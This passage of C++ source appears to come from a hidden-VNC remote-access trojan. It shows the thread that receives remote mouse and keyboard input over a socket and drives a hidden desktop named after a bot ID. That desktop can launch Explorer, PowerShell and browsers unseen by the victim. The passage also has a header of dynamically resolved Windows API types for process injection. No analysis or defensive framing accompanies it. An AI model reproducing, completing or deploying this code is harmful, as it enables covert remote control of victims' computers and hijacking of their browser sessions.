LRESULT resMoveType = NULL; 533 | 534 | lastPoint.x = 0; 535 | lastPoint.y = 0; 536 | 537 | for (;;) 538 | { 539 | UINT msg; 540 | WPARAM wParam; 541 | LPARAM lParam; 542 | 543 | if (Funcs::pRecv(s, (char *)&msg, sizeof(msg), 0) <= 0) 544 | goto exit; 545 | if (Funcs::pRecv(s, (char *)&wParam, sizeof(wParam), 0) <= 0) 546 | goto exit; 547 | if (Funcs::pRecv(s, (char *)&lParam, sizeof(lParam), 0) <= 0) 548 | goto exit; 549 | 550 | HWND hWnd{}; 551 | POINT point; 552 | POINT lastPointCopy; 553 | BOOL mouseMsg = FALSE; 554 | 555 | switch (msg) 556 | { 557 | case WmStartApp::startExplorer: 558 | { 559 | const DWORD neverCombine = 2; 560 | const char *valueName = Strs::hd4; 561 | 562 | HKEY hKey; 563 | Funcs::pRegOpenKeyExA(HKEY_CURRENT_USER, Strs::hd3, 0, KEY_ALL_ACCESS, &hKey); 564 | DWORD value; 565 | DWORD size = sizeof(DWORD); 566 | DWORD type = REG_DWORD; 567 | Funcs::pRegQueryValueExA(hKey, valueName, 0, &type, (BYTE *)&value, &size); 568 | 569 | if (value != neverCombine) 570 | Funcs::pRegSetValueExA(hKey, valueName, 0, REG_DWORD, (BYTE *)&neverCombine, size); 571 | 572 | char explorerPath[MAX_PATH] = { 0 }; 573 | Funcs::pGetWindowsDirectoryA(explorerPath, MAX_PATH); 574 | Funcs::pLstrcatA(explorerPath, Strs::fileDiv); 575 | Funcs::pLstrcatA(explorerPath, Strs::explorerExe); 576 | 577 | STARTUPINFOA startupInfo = { 0 }; 578 | startupInfo.cb = sizeof(startupInfo); 579 | startupInfo.lpDesktop = g_desktopName; 580 | PROCESS_INFORMATION processInfo = { 0 }; 581 | Funcs::pCreateProcessA(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); 582 | 583 | APPBARDATA appbarData; 584 | appbarData.cbSize = sizeof(appbarData); 585 | for (int i = 0; i < 5; ++i) 586 | { 587 | Sleep(1000); 588 | appbarData.hWnd = Funcs::pFindWindowA(Strs::shell_TrayWnd, NULL); 589 | if (appbarData.hWnd) 590 | break; 591 | } 592 | 593 | appbarData.lParam = ABS_ALWAYSONTOP; 594 | Funcs::pSHAppBarMessage(ABM_SETSTATE, &appbarData); 595 | 596 | Funcs::pRegSetValueExA(hKey, valueName, 0, REG_DWORD, (BYTE *)&value, size); 597 | Funcs::pRegCloseKey(hKey); 598 | break; 599 | } 600 | case WmStartApp::startRun: 601 | { 602 | char rundllPath[MAX_PATH] = { 0 }; 603 | Funcs::pSHGetFolderPathA(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath); 604 | lstrcatA(rundllPath, Strs::hd2); 605 | 606 | STARTUPINFOA startupInfo = { 0 }; 607 | startupInfo.cb = sizeof(startupInfo); 608 | startupInfo.lpDesktop = g_desktopName; 609 | PROCESS_INFORMATION processInfo = { 0 }; 610 | Funcs::pCreateProcessA(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo); 611 | break; 612 | } 613 | case WmStartApp::startPowershell: 614 | { 615 | StartPowershell(); 616 | break; 617 | } 618 | case WmStartApp::startChrome: 619 | { 620 | StartChrome(); 621 | break; 622 | } 623 | case WmStartApp::startEdge: 624 | { 625 | StartEdge(); 626 | break; 627 | } 628 | case WmStartApp::startBrave: 629 | { 630 | StartBrave(); 631 | break; 632 | } 633 | case WmStartApp::startFirefox: 634 | { 635 | StartFirefox(); 636 | break; 637 | } 638 | case WmStartApp::startIexplore: 639 | { 640 | StartIe(); 641 | break; 642 | } 643 | case WM_CHAR: 644 | case WM_KEYDOWN: 645 | case WM_KEYUP: 646 | { 647 | point = lastPoint; 648 | hWnd = Funcs::pWindowFromPoint(point); 649 | break; 650 | } 651 | default: 652 | { 653 | mouseMsg = TRUE; 654 | point.x = GET_X_LPARAM(lParam); 655 | point.y = GET_Y_LPARAM(lParam); 656 | lastPointCopy = lastPoint; 657 | lastPoint = point; 658 | 659 | hWnd = Funcs::pWindowFromPoint(point); 660 | if (msg == WM_LBUTTONUP) 661 | { 662 | lmouseDown = FALSE; 663 | LRESULT lResult = Funcs::pSendMessageA(hWnd, WM_NCHITTEST, NULL, lParam); 664 | 665 | switch (lResult) 666 | { 667 | case HTTRANSPARENT: 668 | { 669 | Funcs::pSetWindowLongA(hWnd, GWL_STYLE, Funcs::pGetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED); 670 | lResult = Funcs::pSendMessageA(hWnd, WM_NCHITTEST, NULL, lParam); 671 | break; 672 | } 673 | case HTCLOSE: 674 | { 675 | Funcs::pPostMessageA(hWnd, WM_CLOSE, 0, 0); 676 | break; 677 | } 678 | case HTMINBUTTON: 679 | { 680 | Funcs::pPostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0); 681 | break; 682 | } 683 | case HTMAXBUTTON: 684 | { 685 | WINDOWPLACEMENT windowPlacement; 686 | windowPlacement.length = sizeof(windowPlacement); 687 | Funcs::pGetWindowPlacement(hWnd, &windowPlacement); 688 | if (windowPlacement.flags & SW_SHOWMAXIMIZED) 689 | Funcs::pPostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0); 690 | else 691 | Funcs::pPostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0); 692 | break; 693 | } 694 | } 695 | } 696 | else if (msg == WM_LBUTTONDOWN) 697 | { 698 | lmouseDown = TRUE; 699 | hResMoveWindow = NULL; 700 | 701 | RECT startButtonRect; 702 | HWND hStartButton = Funcs::pFindWindowA("Button", NULL); 703 | Funcs::pGetWindowRect(hStartButton, &startButtonRect); 704 | if (Funcs::pPtInRect(&startButtonRect, point)) 705 | { 706 | Funcs::pPostMessageA(hStartButton, BM_CLICK, 0, 0); 707 | continue; 708 | } 709 | else 710 | { 711 | char windowClass[MAX_PATH] = { 0 }; 712 | Funcs::pRealGetWindowClassA(hWnd, windowClass, MAX_PATH); 713 | 714 | if (!Funcs::pLstrcmpA(windowClass, Strs::hd1)) 715 | { 716 | HMENU hMenu = (HMENU)Funcs::pSendMessageA(hWnd, MN_GETHMENU, 0, 0); 717 | int itemPos = Funcs::pMenuItemFromPoint(NULL, hMenu, point); 718 | int itemId = Funcs::pGetMenuItemID(hMenu, itemPos); 719 | Funcs::pPostMessageA(hWnd, 0x1e5, itemPos, 0); 720 | Funcs::pPostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0); 721 | continue; 722 | } 723 | } 724 | } 725 | else if (msg == WM_MOUSEMOVE) 726 | { 727 | if (!lmouseDown) 728 | continue; 729 | 730 | if (!hResMoveWindow) 731 | resMoveType = Funcs::pSendMessageA(hWnd, WM_NCHITTEST, NULL, lParam); 732 | else 733 | hWnd = hResMoveWindow; 734 | 735 | int moveX = lastPointCopy.x - point.x; 736 | int moveY = lastPointCopy.y - point.y; 737 | 738 | RECT rect; 739 | Funcs::pGetWindowRect(hWnd, &rect); 740 | 741 | int x = rect.left; 742 | int y = rect.top; 743 | int width = rect.right - rect.left; 744 | int height = rect.bottom - rect.top; 745 | switch (resMoveType) 746 | { 747 | case HTCAPTION: 748 | { 749 | x -= moveX; 750 | y -= moveY; 751 | break; 752 | } 753 | case HTTOP: 754 | { 755 | y -= moveY; 756 | height += moveY; 757 | break; 758 | } 759 | case HTBOTTOM: 760 | { 761 | height -= moveY; 762 | break; 763 | } 764 | case HTLEFT: 765 | { 766 | x -= moveX; 767 | width += moveX; 768 | break; 769 | } 770 | case HTRIGHT: 771 | { 772 | width -= moveX; 773 | break; 774 | } 775 | case HTTOPLEFT: 776 | { 777 | y -= moveY; 778 | height += moveY; 779 | x -= moveX; 780 | width += moveX; 781 | break; 782 | } 783 | case HTTOPRIGHT: 784 | { 785 | y -= moveY; 786 | height += moveY; 787 | width -= moveX; 788 | break; 789 | } 790 | case HTBOTTOMLEFT: 791 | { 792 | height -= moveY; 793 | x -= moveX; 794 | width += moveX; 795 | break; 796 | } 797 | case HTBOTTOMRIGHT: 798 | { 799 | height -= moveY; 800 | width -= moveX; 801 | break; 802 | } 803 | default: 804 | continue; 805 | } 806 | Funcs::pMoveWindow(hWnd, x, y, width, height, FALSE); 807 | hResMoveWindow = hWnd; 808 | continue; 809 | } 810 | break; 811 | } 812 | } 813 | 814 | for (HWND currHwnd = hWnd;;) 815 | { 816 | hWnd = currHwnd; 817 | Funcs::pScreenToClient(currHwnd, &point); 818 | currHwnd = Funcs::pChildWindowFromPoint(currHwnd, point); 819 | if (!currHwnd || currHwnd == hWnd) 820 | break; 821 | } 822 | 823 | if (mouseMsg) 824 | lParam = MAKELPARAM(point.x, point.y); 825 | 826 | Funcs::pPostMessageA(hWnd, msg, wParam, lParam); 827 | } 828 | exit: 829 | Funcs::pTerminateThread(g_hDesktopThread, 0); 830 | return 0; 831 | } 832 | 833 | static DWORD WINAPI MainThread(LPVOID param) 834 | { 835 | Funcs::pMemset(g_desktopName, 0, sizeof(g_desktopName)); 836 | GetBotId(g_desktopName); 837 | 838 | Funcs::pMemset(&g_bmpInfo, 0, sizeof(g_bmpInfo)); 839 | g_bmpInfo.bmiHeader.biSize = sizeof(g_bmpInfo.bmiHeader); 840 | g_bmpInfo.bmiHeader.biPlanes = 1; 841 | g_bmpInfo.bmiHeader.biBitCount = 24; 842 | g_bmpInfo.bmiHeader.biCompression = BI_RGB; 843 | g_bmpInfo.bmiHeader.biClrUsed = 0; 844 | 845 | g_hDesk = Funcs::pOpenDesktopA(g_desktopName, 0, TRUE, GENERIC_ALL); 846 | if (!g_hDesk) 847 | g_hDesk = Funcs::pCreateDesktopA(g_desktopName, NULL, NULL, 0, GENERIC_ALL, NULL); 848 | Funcs::pSetThreadDesktop(g_hDesk); 849 | 850 | g_hInputThread = Funcs::pCreateThread(NULL, 0, InputThread, NULL, 0, 0); 851 | Funcs::pWaitForSingleObject(g_hInputThread, INFINITE); 852 | 853 | Funcs::pFree(g_pixels); 854 | Funcs::pFree(g_oldPixels); 855 | Funcs::pFree(g_tempPixels); 856 | 857 | Funcs::pCloseHandle(g_hInputThread); 858 | Funcs::pCloseHandle(g_hDesktopThread); 859 | 860 | g_pixels = NULL; 861 | g_oldPixels = NULL; 862 | g_tempPixels = NULL; 863 | g_started = FALSE; 864 | return 0; 865 | } 866 | 867 | HANDLE StartHiddenDesktop(const char *host, int port) 868 | { 869 | if (g_started) 870 | return NULL; 871 | Funcs::pLstrcpyA(g_host, host); 872 | g_port = port; 873 | g_started = TRUE; 874 | return Funcs::pCreateThread(NULL, 0, MainThread, NULL, 0, 0); 875 | } 876 | -------------------------------------------------------------------------------- /common/Api.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Common.h" 3 | 4 | #define ENC_STR_A 5 | #if _MSC_VER >= 1900 6 | 7 | inline const char* operator "" END_ENC_STR(const char* str, size_t n) 8 | { 9 | return str; 10 | } 11 | #else 12 | #define END_ENC_STR 13 | #endif 14 | 15 | typedef struct _LSA_UNICODE_STRING 16 | { 17 | USHORT Length; 18 | USHORT MaximumLength; 19 | PWSTR Buffer; 20 | } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING; 21 | 22 | typedef struct _OBJECT_ATTRIBUTES 23 | { 24 | ULONG Length; 25 | HANDLE RootDirectory; 26 | PUNICODE_STRING ObjectName; 27 | ULONG Attributes; 28 | PVOID SecurityDescriptor; 29 | PVOID SecurityQualityOfService; 30 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 31 | 32 | #define OBJ_CASE_INSENSITIVE 0x00000040L 33 | 34 | struct CLIENT_ID { DWORD UniqueProcess; DWORD UniqueThread; }; 35 | 36 | typedef struct _PROCESS_BASIC_INFORMATION 37 | { 38 | PVOID Reserved1; 39 | PVOID PebBaseAddress; 40 | PVOID Reserved2[2]; 41 | ULONG_PTR UniqueProcessId; 42 | PVOID Reserved3; 43 | } PROCESS_BASIC_INFORMATION; 44 | 45 | namespace Types 46 | { 47 | typedef int (WINAPI *T_MessageBox) 48 | ( 49 | HWND hWnd, 50 | PCHAR lpText, 51 | PCHAR lpCaption, 52 | UINT uType 53 | ); 54 | typedef UINT (WINAPI *T_GetWindowsDirectory) 55 | ( 56 | PCHAR lpBuffer, 57 | UINT uSize 58 | ); 59 | typedef int (WINAPI *T_WideCharToMultiByte) 60 | ( 61 | UINT CodePage, 62 | DWORD dwFlags, 63 | PWCHAR lpWideCharStr, 64 | int cchWideChar, 65 | PCHAR lpMultiByteStr, 66 | int cbMultiByte, 67 | PCHAR lpDefaultChar, 68 | LPBOOL lpUsedDefaultChar 69 | ); 70 | typedef HLOCAL (WINAPI *T_LocalAlloc) 71 | ( 72 | UINT uFlags, 73 | SIZE_T uBytes 74 | ); 75 | typedef int (__cdecl *T_wsprintf) 76 | ( 77 | LPTSTR lpOut, 78 | LPCTSTR lpFmt, 79 | ... 80 | ); 81 | typedef int (WINAPI *T_MultiByteToWideChar) 82 | ( 83 | UINT CodePage, 84 | DWORD dwFlags, 85 | LPCTSTR lpMultiByteStr, 86 | int cbMultiByte, 87 | LPWSTR lpWideCharStr, 88 | int cchWideChar 89 | ); 90 | typedef void *(__cdecl *T_malloc) 91 | ( 92 | size_t size 93 | ); 94 | typedef void (__cdecl *T_free) 95 | ( 96 | void *memblock 97 | ); 98 | typedef LPVOID (WINAPI *T_VirtualAllocEx) 99 | ( 100 | HANDLE hProcess, 101 | LPVOID lpAddress, 102 | SIZE_T dwSize, 103 | DWORD flAllocationType, 104 | DWORD flProtect 105 | ); 106 | typedef BOOL (WINAPI *T_WriteProcessMemory) 107 | ( 108 | HANDLE hProcess, 109 | LPVOID lpBaseAddress, 110 | LPCVOID lpBuffer, 111 | SIZE_T nSize, 112 | SIZE_T *lpNumberOfBytesWritten 113 | ); 114 | typedef HANDLE (WINAPI *T_CreateRemoteThread) 115 | ( 116 | HANDLE hProcess, 117 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 118 | SIZE_T dwStackSize, 119 | LPTHREAD_START_ROUTINE lpStartAddress, 120 | LPVOID lpParameter, 121 | DWORD dwCreationFlags, 122 | LPDWORD lpThreadId 123 | ); 124 | typedef HMODULE (WINAPI *T_LoadLibrary) 125 | ( 126 | LPCTSTR lpFileName 127 | ); 128 | typedef FARPROC (WINAPI *T_GetProcAddress) 129 | ( 130 | HMODULE hModule, 131 | LPCTSTR lpProcName 132 | ); 133 | typedef BOOL (WINAPI *T_PathRemoveFileSpec) 134 | ( 135 | PCHAR pszPath 136 | ); 137 | typedef DWORD (WINAPI *T_GetModuleFileName) 138 | ( 139 | HMODULE hModule, 140 | PCHAR lpFilename, 141 | DWORD nSize 142 | ); 143 | typedef PCHAR (WINAPI *T_PathFindFileName) 144 | ( 145 | PCHAR pPath 146 | ); 147 | typedef int (__cdecl *T_strncmp) 148 | ( 149 | const char *string1, 150 | const char *string2, 151 | size_t count 152 | ); 153 | typedef int (WINAPI *T_lstrlen) 154 | ( 155 | LPCTSTR lpString 156 | ); 157 | typedef VOID (WINAPI *T_ExitProcess) 158 | ( 159 | UINT uExitCode 160 | ); 161 | typedef HRESULT (WINAPI *T_SHGetFolderPath) 162 | ( 163 | HWND hwndOwner, 164 | int nFolder, 165 | HANDLE hToken, 166 | DWORD dwFlags, 167 | LPCTSTR pszPath 168 | ); 169 | typedef PCHAR (WINAPI *T_lstrcpy) 170 | ( 171 | LPTSTR lpString1, 172 | LPCTSTR lpString2 173 | ); 174 | typedef PCHAR (WINAPI *T_lstrcat) 175 | ( 176 | LPTSTR lpString1, 177 | LPCTSTR lpString2 178 | ); 179 | typedef BOOL (WINAPI *T_CopyFile) 180 | ( 181 | LPCTSTR lpExistingFileName, 182 | LPCTSTR lpNewFileName, 183 | BOOL bFailIfExists 184 | ); 185 | typedef BOOL (WINAPI *T_GetVolumeInformation) 186 | ( 187 | PCHAR lpRootPathName, 188 | PCHAR lpVolumeNameBuffer, 189 | DWORD nVolumeNameSize, 190 | LPDWORD lpVolumeSerialNumber, 191 | LPDWORD lpMaximumComponentLength, 192 | LPDWORD lpFileSystemFlags, 193 | PCHAR lpFileSystemNameBuffer, 194 | DWORD nFileSystemNameSize 195 | ); 196 | typedef BOOLEAN (WINAPI *T_GetUserNameEx) 197 | ( 198 | EXTENDED_NAME_FORMAT NameFormat, 199 | PCHAR lpNameBuffer, 200 | PULONG lpnSize 201 | ); 202 | typedef BOOL (WINAPI *T_LookupAccountName) 203 | ( 204 | PCHAR lpSystemName, 205 | PCHAR lpAccountName, 206 | PSID Sid, 207 | LPDWORD cbSid, 208 | PCHAR ReferencedDomainName, 209 | LPDWORD cchReferencedDomainName, 210 | PSID_NAME_USE peUse 211 | ); 212 | typedef BOOL (WINAPI *T_ConvertSidToStringSid) 213 | ( 214 | PSID Sid, 215 | PCHAR *StringSid 216 | ); 217 | typedef HLOCAL (WINAPI *T_LocalFree) 218 | ( 219 | HLOCAL hMem 220 | ); 221 | typedef void (__cdecl *T_memcpy) 222 | ( 223 | void *dest, 224 | const void *src, 225 | size_t count 226 | ); 227 | typedef int (WINAPI *T_lstrcmp) 228 | ( 229 | LPCTSTR lpString1, 230 | LPCTSTR lpString2 231 | ); 232 | typedef PCHAR (WINAPI *T_StrStr) 233 | ( 234 | LPCTSTR pszFirst, 235 | LPCTSTR pszSrch 236 | ); 237 | typedef long (_cdecl *T_strtol) 238 | ( 239 | const char *nptr, 240 | char **endptr, 241 | int base 242 | ); 243 | typedef void *(_cdecl *T_realloc) 244 | ( 245 | void *memblock, 246 | size_t size 247 | ); 248 | typedef int (WINAPI *T_WSAStartup) 249 | ( 250 | WORD wVersionRequested, 251 | LPWSADATA lpWSAData 252 | ); 253 | typedef SOCKET (WINAPI *T_socket) 254 | ( 255 | int af, 256 | int type, 257 | int protocol 258 | ); 259 | typedef struct hostent* (WINAPI *T_gethostbyname) 260 | ( 261 | const char *name 262 | ); 263 | typedef u_short (WINAPI *T_htons) 264 | ( 265 | u_short hostshort 266 | ); 267 | typedef int (WINAPI *T_connect) 268 | ( 269 | SOCKET s, 270 | const struct sockaddr *name, 271 | int namelen 272 | ); 273 | typedef int (WINAPI *T_send) 274 | ( 275 | SOCKET s, 276 | const char *buf, 277 | int len, 278 | int flags 279 | ); 280 | typedef int (WINAPI *T_recv) 281 | ( 282 | SOCKET s, 283 | char *buf, 284 | int len, 285 | int flags 286 | ); 287 | typedef int (WINAPI *T_closesocket) 288 | ( 289 | SOCKET s 290 | ); 291 | typedef int (WINAPI *T_WSACleanup)(); 292 | typedef void *(_cdecl *T_memset) 293 | ( 294 | void *dest, 295 | int c, 296 | size_t count 297 | ); 298 | typedef VOID (WINAPI *T_Sleep) 299 | ( 300 | DWORD dwMilliseconds 301 | ); 302 | typedef NTSTATUS (NTAPI *T_NtOpenKey) 303 | ( 304 | PHANDLE KeyHandle, 305 | ACCESS_MASK DesiredAccess, 306 | POBJECT_ATTRIBUTES ObjectAttributes 307 | ); 308 | typedef NTSTATUS (NTAPI *T_NtSetValueKey)( 309 | HANDLE KeyHandle, 310 | PUNICODE_STRING ValueName, 311 | ULONG TitleIndex, 312 | ULONG Type, 313 | PVOID Data, 314 | ULONG DataSize 315 | ); 316 | typedef BOOL (WINAPI *T_CloseHandle) 317 | ( 318 | HANDLE hObject 319 | ); 320 | typedef NTSTATUS (NTAPI *T_RtlCreateUserThread) 321 | ( 322 | HANDLE ProcessHandle, 323 | PSECURITY_DESCRIPTOR SecurityDescriptor, 324 | BOOLEAN CreateSuspended, 325 | ULONG StackZeroBits, 326 | PULONG StackReserved, 327 | PULONG StackCommit, 328 | PVOID StartAddress, 329 | PVOID StartParameter, 330 | PHANDLE ThreadHandle, 331 | CLIENT_ID *ClientID 332 | ); 333 | typedef BOOL (WINAPI *T_CreateProcess) 334 | ( 335 | PCHAR lpApplicationName, 336 | PCHAR lpCommandLine, 337 | LPSECURITY_ATTRIBUTES lpProcessAttributes, 338 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 339 | BOOL bInheritHandles, 340 | DWORD dwCreationFlags, 341 | LPVOID lpEnvironment, 342 | PCHAR lpCurrentDirectory, 343 | LPSTARTUPINFOA lpStartupInfo, 344 | LPPROCESS_INFORMATION lpProcessInformation 345 | ); 346 | typedef VOID (WINAPI *T_InitializeCriticalSection) 347 | ( 348 | LPCRITICAL_SECTION lpCriticalSection 349 | ); 350 | typedef VOID (WINAPI *T_EnterCriticalSection) 351 | ( 352 | LPCRITICAL_SECTION lpCriticalSection 353 | ); 354 | typedef VOID (WINAPI *T_LeaveCriticalSection) 355 | ( 356 | LPCRITICAL_SECTION lpCriticalSection 357 | ); 358 | typedef DWORD (WINAPI *T_GetLastError)(); 359 | typedef INT* (__cdecl *T_errno)(); 360 | typedef INT (__cdecl *T_tolower) 361 | ( 362 | INT _C 363 | ); 364 | typedef INT (__cdecl *T_isdigit) 365 | ( 366 | INT _C 367 | ); 368 | typedef ULONG (__cdecl *T_strtoul) 369 | ( 370 | const char *Str, 371 | char **EndPtr, 372 | int Radix 373 | ); 374 | typedef INT (__cdecl *T_isxdigit) 375 | ( 376 | INT _C 377 | ); 378 | typedef double (__cdecl *T_strtod) 379 | ( 380 | const char *Str, 381 | char **EndPtr 382 | ); 383 | typedef HANDLE (WINAPI *T_CreateToolhelp32Snapshot) 384 | ( 385 | DWORD dwFlags, 386 | DWORD th32ProcessID 387 | ); 388 | typedef BOOL (WINAPI *T_Process32First) 389 | ( 390 | HANDLE hSnapshot, 391 | LPPROCESSENTRY32 lppe 392 | ); 393 | typedef BOOL (WINAPI *T_Process32Next) 394 | ( 395 | HANDLE hSnapshot, 396 | LPPROCESSENTRY32 lppe 397 | ); 398 | typedef PTSTR (WINAPI *T_StrChr) 399 | ( 400 | PCHAR pszStart, 401 | CHAR wMatch 402 | ); 403 | typedef int (WINAPI *T_StrToInt) 404 | ( 405 | PCHAR pszSrc 406 | ); 407 | typedef HMODULE (WINAPI *T_GetModuleHandle) 408 | ( 409 | PCHAR lpModuleName 410 | ); 411 | typedef DWORD (WINAPI *T_GetFileVersionInfoSize) 412 | ( 413 | PCHAR lptstrFilename, 414 | LPDWORD lpdwHandle 415 | ); 416 | typedef BOOL (WINAPI *T_GetFileVersionInfo) 417 | ( 418 | PCHAR lptstrFilename, 419 | DWORD dwHandle, 420 | DWORD dwLen, 421 | LPVOID lpData 422 | ); 423 | typedef BOOL (WINAPI *T_VerQueryValue) 424 | ( 425 | LPCVOID pBlock, 426 | PCHAR lpSubBlock, 427 | LPVOID *lplpBuffer, 428 | PUINT puLen 429 | ); 430 | typedef BOOL (WINAPI *T_GetModuleInformation) 431 | ( 432 | HANDLE hProcess, 433 | HMODULE hModule, 434 | LPMODULEINFO lpmodinfo, 435 | DWORD cb 436 | ); 437 | typedef int (_cdecl *T_memcmp) 438 | ( 439 | const void *buf1, 440 | const void *buf2, 441 | size_t count 442 | ); 443 | typedef DWORD (WINAPI *T_ExpandEnvironmentStrings) 444 | ( 445 | LPCTSTR lpSrc, 446 | LPTSTR lpDst, 447 | DWORD nSize 448 | ); 449 | typedef DWORD (WINAPI *T_GetPrivateProfileSectionNames) 450 | ( 451 | PCHAR lpszReturnBuffer, 452 | DWORD nSize, 453 | PCHAR lpFileName 454 | ); 455 | typedef DWORD (WINAPI *T_GetPrivateProfileString) 456 | ( 457 | LPCTSTR lpAppName, 458 | LPCTSTR lpKeyName, 459 | LPCTSTR lpDefault, 460 | LPCTSTR lpReturnedString, 461 | DWORD nSize, 462 | LPCTSTR lpFileName 463 | ); 464 | typedef HANDLE (WINAPI *T_CreateFile) 465 | ( 466 | PCHAR lpFileName, 467 | DWORD dwDesiredAccess, 468 | DWORD dwShareMode, 469 | LPSECURITY_ATTRIBUTES lpSecurityAttributes, 470 | DWORD dwCreationDisposition, 471 | DWORD dwFlagsAndAttributes, 472 | HANDLE hTemplateFile 473 | ); 474 | typedef BOOL (WINAPI *T_ReadFile) 475 | ( 476 | HANDLE hFile, 477 | LPVOID lpBuffer, 478 | DWORD nNumberOfBytesToRead, 479 | LPDWORD lpNumberOfBytesRead, 480 | LPOVERLAPPED lpOverlapped 481 | ); 482 | typedef BOOL (WINAPI *T_WriteFile) 483 | ( 484 | HANDLE hFile, 485 | LPCVOID lpBuffer, 486 | DWORD nNumberOfBytesToWrite, 487 | LPDWORD lpNumberOfBytesWritten, 488 | LPOVERLAPPED lpOverlapped 489 | ); 490 | typedef LONG (WINAPI *T_RegSetValueEx) 491 | ( 492 | HKEY hKey, 493 | LPCTSTR lpValueName, 494 | DWORD Reserved, 495 | DWORD dwType, 496 | BYTE *lpData, 497 | DWORD cbData 498 | ); 499 | typedef LONG (WINAPI *T_RegOpenKeyEx) 500 | ( 501 | HKEY hKey, 502 | LPCTSTR lpSubKey, 503 | DWORD ulOptions, 504 | REGSAM samDesired, 505 | PHKEY phkResult 506 | ); 507 | typedef LONG (WINAPI *T_RegCloseKey) 508 | ( 509 | HKEY hKey 510 | ); 511 | typedef DWORD (WINAPI *T_GetFileSize) 512 | ( 513 | HANDLE hFile, 514 | LPDWORD lpFileSizeHigh 515 | ); 516 | typedef DWORD (WINAPI *T_ResumeThread) 517 | ( 518 | HANDLE hThread 519 | ); 520 | typedef BOOL (WINAPI *T_IsWow64Process) 521 | ( 522 | HANDLE hProcess, 523 | PBOOL Wow64Process 524 | ); 525 | typedef void (WINAPI *T_GetNativeSystemInfo) 526 | ( 527 | LPSYSTEM_INFO lpSystemInfo 528 | ); 529 | typedef HANDLE (WINAPI *T_OpenProcess) 530 | ( 531 | DWORD dwDesiredAccess, 532 | BOOL bInheritHandle, 533 | DWORD dwProcessId 534 | ); 535 | typedef HANDLE (WINAPI *T_CreateThread) 536 | ( 537 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 538 | SIZE_T dwStackSize, 539 | LPTHREAD_START_ROUTINE lpStartAddress, 540 | LPVOID lpParameter, 541 | DWORD dwCreationFlags, 542 | LPDWORD lpThreadId 543 | ); 544 | typedef BOOL (WINAPI *T_GetUserName) 545 | ( 546 | PWCHAR lpBuffer, 547 | LPDWORD lpnSize 548 | ); 549 | typedef BOOL (WINAPI *T_GetComputerName) 550 | ( 551 | PWCHAR lpBuffer, 552 | LPDWORD lpnSize 553 | ); 554 | typedef BOOL (WINAPI *T_GetVersionEx) 555 | ( 556 | LPOSVERSIONINFOA lpVersionInfo 557 | ); 558 | typedef HANDLE (WINAPI *T_CreateNamedPipe) 559 | ( 560 | LPCTSTR lpName, 561 | DWORD dwOpenMode, 562 | DWORD dwPipeMode, 563 | DWORD nMaxInstances, 564 | DWORD nOutBufferSize, 565 | DWORD nInBufferSize, 566 | DWORD nDefaultTimeOut, 567 | LPSECURITY_ATTRIBUTES lpSecurityAttributes 568 | ); 569 | typedef BOOL (WINAPI *T_ConnectNamedPipe) 570 | ( 571 | HANDLE hNamedPipe, 572 | LPOVERLAPPED lpOverlapped 573 | ); 574 | typedef BOOL (WINAPI *T_DisconnectNamedPipe) 575 | ( 576 | HANDLE hNamedPipe 577 | ); 578 | typedef BOOL (WINAPI *T_InternetCrackUrl) 579 | ( 580 | PCHAR lpszUrl, 581 | DWORD dwUrlLength, 582 | DWORD dwFlags, 583 | LPURL_COMPONENTSA lpUrlComponents 584 | ); 585 | typedef DWORD (WINAPI *T_GetTempPath) 586 | ( 587 | DWORD nBufferLength, 588 | PCHAR lpBuffer 589 | ); 590 | typedef UINT (WINAPI *T_GetTempFileName) 591 | ( 592 | PCHAR lpPathName, 593 | PCHAR lpPrefixString, 594 | UINT uUnique, 595 | LPTSTR lpTempFileName 596 | ); 597 | typedef HINSTANCE (WINAPI *T_ShellExecute) 598 | ( 599 | HWND hwnd, 600 | PCHAR lpOperation, 601 | PCHAR lpFile, 602 | PCHAR lpParameters, 603 | PCHAR lpDirectory, 604 | INT nShowCmd 605 | ); 606 | typedef int (WINAPI *T_ioctlsocket) 607 | ( 608 | SOCKET s, 609 | long cmd, 610 | u_long *argp 611 | ); 612 | typedef u_short (WINAPI *T_ntohs) 613 | ( 614 | u_short netshort 615 | ); 616 | typedef HANDLE (WINAPI *T_CreateMutex) 617 | ( 618 | LPSECURITY_ATTRIBUTES lpMutexAttributes, 619 | BOOL bInitialOwner, 620 | PCHAR lpName 621 | ); 622 | typedef BOOL (WINAPI *T_ReleaseMutex) 623 | ( 624 | HANDLE hMutex 625 | ); 626 | typedef NTSTATUS (WINAPI *T_NtCreateThreadEx) 627 | ( 628 | PHANDLE hThread, 629 | ACCESS_MASK DesiredAccess, 630 | LPVOID ObjectAttributes, 631 | HANDLE ProcessHandle, 632 | LPTHREAD_START_ROUTINE lpStartAddress, 633 | LPVOID lpParameter, 634 | BOOL CreateSuspended, 635 | ULONG StackZeroBits, 636 | ULONG SizeOfStackCommit, 637 | ULONG SizeOfStackReserve, 638 | LPVOID lpBytesBuffer 639 | ); 640 | typedef BOOL (WINAPI *T_TerminateProcess) 641 | ( 642 | HANDLE hProcess, 643 | UINT uExitCode 644 | ); 645 | typedef HWND (WINAPI *T_FindWindow) 646 | ( 647 | LPCTSTR lpClassName, 648 | LPCTSTR lpWindowName 649 | ); 650 | typedef DWORD (WINAPI *T_GetWindowThreadProcessId) 651 | ( 652 | HWND hWnd, 653 | LPDWORD lpdwProcessId 654 | ); 655 | typedef DWORD (WINAPI *T_WaitForSingleObject) 656 | ( 657 | HANDLE hHandle, 658 | DWORD dwMilliseconds 659 | ); 660 | typedef BOOL (WINAPI *T_EnumWindows) 661 | ( 662 | WNDENUMPROC lpEnumFunc, 663 | LPARAM lParam 664 | ); 665 | typedef DWORD (WINAPI *T_GetCurrentProcessId)(); 666 | typedef BOOL (WINAPI 